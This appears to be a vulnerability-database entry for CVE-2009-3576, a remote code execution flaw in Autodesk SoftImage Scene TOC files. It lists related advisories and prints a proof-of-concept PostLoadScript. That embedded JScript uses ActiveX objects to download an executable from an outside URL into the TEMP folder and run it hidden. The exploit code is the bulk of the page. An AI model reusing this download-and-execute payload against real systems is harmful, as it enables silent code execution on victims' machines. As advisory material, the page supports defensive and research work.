Autodesk SoftImage Scene TOC文件处理远程代码执行漏洞

🗓️ 24 Nov 2009 00:00:00Reported by RootType

Autodesk SoftImage Scene TOC文件处理远程代码执行漏

Reporter	Title	Published	Views	Family All 14
0day.today	Autodesk SoftImage Scene TOC Arbitrary Command Execution	23 Nov 200900:00	–	zdt
Circl	CVE-2009-3576	23 Nov 200900:00	–	circl
Core Security	Autodesk SoftImage Scene TOC Arbitrary Command Execution	23 Nov 200900:00	–	coresecurity
CVE	CVE-2009-3576	24 Nov 200917:00	–	cve
Cvelist	CVE-2009-3576	24 Nov 200917:00	–	cvelist
Exploit DB	Autodesk SoftImage Scene TOC - Arbitrary Command Execution	23 Nov 200900:00	–	exploitdb
EUVD	EUVD-2009-3557	7 Oct 202500:30	–	euvd
exploitpack	Autodesk SoftImage Scene TOC - Arbitrary Command Execution	23 Nov 200900:00	–	exploitpack
NVD	CVE-2009-3576	24 Nov 200917:30	–	nvd
Packet Storm	Core Security Technologies Advisory 2009.0908	23 Nov 200900:00	–	packetstorm


                                                /-----
      &lt;PostLoadScript&gt;
      &lt;Language&gt;JScript&lt;/Language&gt;
      &lt;Function&gt;&lt;/Function&gt;
      &lt;Script_Content&gt;
    &lt;![cdata[
var s=new ActiveXObject('WScript.Shell');
var o=new ActiveXObject('ADODB.Stream');
var e=s.Environment('Process');
var u='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';
var b=e.Item('TEMP')+'agent.exe';
var x=new ActiveXObject('Microsoft.XMLHTTP');
//x=new ActiveXObject('MSXML2.ServerXMLHTTP');
if(!x)
    exit(0);
x.open('GET',u,0);
x.send(null);
o.Type=1;
o.Mode=3;
o.Open();
o.Write(x.responseBody);
o.SaveToFile(b,2);
s.Run(b,0);
    ]] &gt;
  &lt;/Script_Content&gt;
  &lt;/PostLoadScript&gt;

- -----/

24 Nov 2009 00:00Current

6.4Medium risk

Vulners AI Score6.4

EPSS0.04479